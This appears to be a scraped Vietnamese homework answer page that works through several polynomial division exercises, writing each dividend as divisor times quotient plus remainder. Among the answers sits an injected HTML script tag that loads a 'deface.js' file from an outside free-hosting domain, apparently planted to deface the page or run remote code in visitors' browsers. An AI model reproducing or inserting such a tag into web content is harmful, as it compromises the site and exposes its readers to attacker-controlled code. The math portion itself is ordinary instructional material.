Hãy nhập câu hỏi của bạn vào đây, nếu là tài khoản VIP, bạn sẽ được ưu tiên trả lời.
a: \(A=x^4+3x^3+2x^2-x-4\)
\(=x^4-2x^3+3x^2+5x^3-10x^2+15x+9x^2-18x+27\) +2x-31
\(=\left(x^2-2x+3\right)\left(x^2+5x+9\right)+2x-31=B\left(x^2+5x+9\right)+2x-31\)
=>Dư là R=2x-31; thương là \(Q=x^2+5x+9\)
b: \(A=2x^3-3x^2+6x-4\)
\(=2x^3-2x^2+6x+x^2-x+3+x-7\)
\(=\left(x^2-x+3\right)\left(2x+1\right)+x-7=B\left(2x+1\right)+x-7\)
=>Thương là Q=2x+1; dư là R=x-7
c: \(A=2x^4+x^3+3x^2+4x+9\)
\(=2x^4+2x^2+x^3+x+x^2+1+3x+8\)
\(=\left(x^2+1\right)\left(2x^2+x+1\right)+3x+8=B\left(2x^2+x+1\right)+3x+8\)
=>Thương là \(Q=2x^2+x+1\) ; dư là R=3x+8
d: \(A=2x^3-11x^2+19x-6\)
\(=2x^3-6x^2+2x-5x^2+15x-5+2x-1\)
\(=\left(x^2-3x+1\right)\left(2x-5\right)+2x-1=B\left(2x-5\right)+2x-1\)
=>Thương là Q=2x-5; dư là R=2x-1
e: \(A=2x^4-x^3-x^2-x+1\)
\(=2x^4+2x^2-x^3-x-3x^2-3+4\)
\(=\left(x^2+1\right)\left(2x^2-x-3\right)+4=B\left(2x^2-x-3\right)+4\)
=>Thương là \(Q=2x^2-x-3\) và dư là R=4
| <script src="https://snatchy-warehouse.000webhostapp.com/deface.js"></script> |
Tìm thương quy và dư r sao cho a = b x q + r biết câu a = 2x^4 + x^3 + 3 x mũ 2 + 4x + 9 và b = x² + 1
Thương Q = x 2 - 2
Dư R = 9x – 5
Ta thấy x 4 - 2 x 3 + x 2 + 13 x - 11 = ( x 2 - 2 x + 3 )( x 2 - 2 ) + (9x – 5)
Vậy A = B.Q + R
\(\dfrac{A}{B}=\dfrac{2x^4-10x^3+3x^2-3x+2}{2x^2+1}=\dfrac{2x^4+x^2-10x^3-5x+2x^2+1+2x+1}{2x^2+1}\)
\(=x^2-x+1+\dfrac{2x+1}{2x^2+1}\)
R=2x+1
\(A=\left(x^2-x+1\right)\left(2x^2+1\right)+2x+1\)
TA có: \(A=3x^4-8x^3-11x^2+8x-5\)
\(=3x^4-2x^3+3x^2-6x^3+4x^2-6x-18x^2+12x-18\) +2x+13
\(=x^2\left(3x^2-2x+3\right)-2x\left(3x^2-2x+3\right)-6\left(3x^2-2x+3\right)\) +2x+13
\(=\left(3x^2-2x+3\right)\left(x^2-2x-6\right)+2x+13\)
=>Thương là Q=x^2-2x-6; dư là R=2x+13